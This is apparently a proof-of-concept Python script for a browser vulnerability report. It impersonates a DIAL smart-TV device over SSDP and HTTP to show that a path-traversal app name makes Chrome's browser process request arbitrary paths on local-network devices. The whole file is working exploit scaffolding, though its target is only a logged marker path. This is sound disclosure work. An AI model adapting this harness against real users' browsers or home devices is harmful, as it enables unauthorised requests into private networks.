#!/usr/bin/env python3
"""
Fake DIAL device + POC web server.

Runs three things in one process (all on localhost / local interfaces only):
  1. SSDP responder on UDP 239.255.255.250:1900 -- answers Chrome's M-SEARCH
     so Chrome "discovers" a DIAL device on the local network.
  2. DIAL HTTP server on 0.0.0.0:8008 -- serves the UPnP device description
     (with an Application-URL: http://<ip>:8008/apps header) and logs every
     incoming request path.
  3. The same HTTP server also serves /poc.html, the page that triggers the
     bug via PresentationRequest.getAvailability().

Proof of bug: after Chrome loads /poc.html, this server receives a
GET /poc/ssrf-triggered request on port 8008. That path is OUTSIDE /apps/ --
the renderer-supplied "../../poc/ssrf-triggered" was concatenated into the
DIAL app URL and then collapsed by GURL canonicalization, so the browser
process issued a privileged GET to an arbitrary path on the local-network
device.
"""

import http.server
import os
import socket
import socketserver
import struct
import sys
import threading
import time

DIAL_PORT = 8008
SSDP_ADDR = "239.255.255.250"
SSDP_PORT = 1900
SSDP_ST   = "urn:dial-multiscreen-org:service:dial:1"
DEVICE_USN = "uuid:00000000-0000-0000-0000-000000c0ffee"

# Marker path the page asks the browser to hit via path traversal.
SSRF_PATH = "/poc/ssrf-triggered"

SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))

# ----------------------------------------------------------------------------

def local_ip_for_peer(peer_ip):
    """Source IP the kernel would use to reach peer_ip."""
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    try:
        s.connect((peer_ip, 9))
        return s.getsockname()[0]
    finally:
        s.close()

def log(msg):
    sys.stderr.write("[fake-dial] %s\n" % msg)
    sys.stderr.flush()

# ----------------------------------------------------------------------------
# SSDP responder
# ----------------------------------------------------------------------------

def ssdp_response(location):
    return ("HTTP/1.1 200 OK\r\n"
            "LOCATION: %s\r\n"
            "CACHE-CONTROL: max-age=1800\r\n"
            "EXT:\r\n"
            "BOOTID.UPNP.ORG: 1\r\n"
            "SERVER: Linux/5 UPnP/1.0 FakeTV/1.0\r\n"
            "ST: %s\r\n"
            "USN: %s::%s\r\n"
            "CONFIGID.UPNP.ORG: 1\r\n"
            "\r\n") % (location, SSDP_ST, DEVICE_USN, SSDP_ST)

def ssdp_thread():
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    try:
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)
    except (AttributeError, OSError):
        pass
    sock.bind(("", SSDP_PORT))
    mreq = struct.pack("4s4s", socket.inet_aton(SSDP_ADDR),
                       socket.inet_aton("0.0.0.0"))
    sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)
    log("SSDP responder listening on %s:%d" % (SSDP_ADDR, SSDP_PORT))

    while True:
        try:
            data, peer = sock.recvfrom(4096)
        except OSError:
            return
        text = data.decode("latin-1", "replace")
        if "M-SEARCH" not in text:
            continue
        if SSDP_ST not in text and "ssdp:all" not in text:
            continue
        # Reply from the IP Chrome will see as the packet source, and use that
        # same IP in LOCATION (Chrome requires them to match).
        local_ip = local_ip_for_peer(peer[0])
        location = "http://%s:%d/dd.xml" % (local_ip, DIAL_PORT)
        reply = ssdp_response(location).encode("ascii")
        out = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        try:
            out.bind((local_ip, 0))
            out.sendto(reply, peer)
        finally:
            out.close()
        log("M-SEARCH from %s:%d -> replied LOCATION=%s" %
            (peer[0], peer[1], location))

# ----------------------------------------------------------------------------
# HTTP server (device description + apps + poc page)
# ----------------------------------------------------------------------------

DD_XML = """<?xml version="1.0"?>
<root xmlns="urn:schemas-upnp-org:device-1-0">
  <specVersion><major>1</major><minor>0</minor></specVersion>
  <device>
    <deviceType>urn:dial-multiscreen-org:device:dial:1</deviceType>
    <friendlyName>FakeTV</friendlyName>
    <manufacturer>POC</manufacturer>
    <modelName>FakeTV</modelName>
    <UDN>%s</UDN>
  </device>
</root>
""" % DEVICE_USN

class Handler(http.server.BaseHTTPRequestHandler):
    server_version = "FakeDIAL/1.0"

    def log_message(self, fmt, *args):
        log("HTTP  %s  %s  %s" %
            (self.client_address[0], self.command, self.path))

    def do_GET(self):
        host = self.headers.get("Host", "").split(":")[0]
        if not host:
            host = self.connection.getsockname()[0]

        if self.path == "/dd.xml":
            body = DD_XML.encode("utf-8")
            self.send_response(200)
            self.send_header("Content-Type", "text/xml; charset=utf-8")
            # The vulnerable code concatenates this with "/" + app_name.
            self.send_header("Application-URL",
                             "http://%s:%d/apps" % (host, DIAL_PORT))
            self.send_header("Content-Length", str(len(body)))
            self.end_headers()
            self.wfile.write(body)
            return

        if self.path == "/poc.html":
            with open(os.path.join(SCRIPT_DIR, "poc.html"), "rb") as f:
                body = f.read()
            self.send_response(200)
            self.send_header("Content-Type", "text/html; charset=utf-8")
            self.send_header("Content-Length", str(len(body)))
            self.end_headers()
            self.wfile.write(body)
            return

        if self.path.startswith("/apps"):
            # Legitimate DIAL app-info probe (e.g. /apps/YouTube).
            log(">>> legitimate /apps probe: %s" % self.path)
            self.send_response(404)
            self.end_headers()
            return

        if self.path.startswith(SSRF_PATH):
            log("=" * 70)
            log(">>> SSRF TRIGGERED <<<  GET %s" % self.path)
            log("    Origin header: %r" % self.headers.get("Origin"))
            log("    User-Agent:    %r" % self.headers.get("User-Agent"))
            log("    The browser process fetched an arbitrary path outside "
                "/apps/ on a local-network device, driven by web content "
                "with no user gesture.")
            log("=" * 70)
            self.send_response(404)
            self.end_headers()
            return

        self.send_response(404)
        self.end_headers()

class ThreadingHTTPServer(socketserver.ThreadingMixIn, http.server.HTTPServer):
    daemon_threads = True
    allow_reuse_address = True

# ----------------------------------------------------------------------------

def main():
    t = threading.Thread(target=ssdp_thread, daemon=True)
    t.start()

    httpd = ThreadingHTTPServer(("0.0.0.0", DIAL_PORT), Handler)
    log("HTTP server listening on 0.0.0.0:%d" % DIAL_PORT)
    log("POC page: http://localhost:%d/poc.html" % DIAL_PORT)
    httpd.serve_forever()

if __name__ == "__main__":
    main()
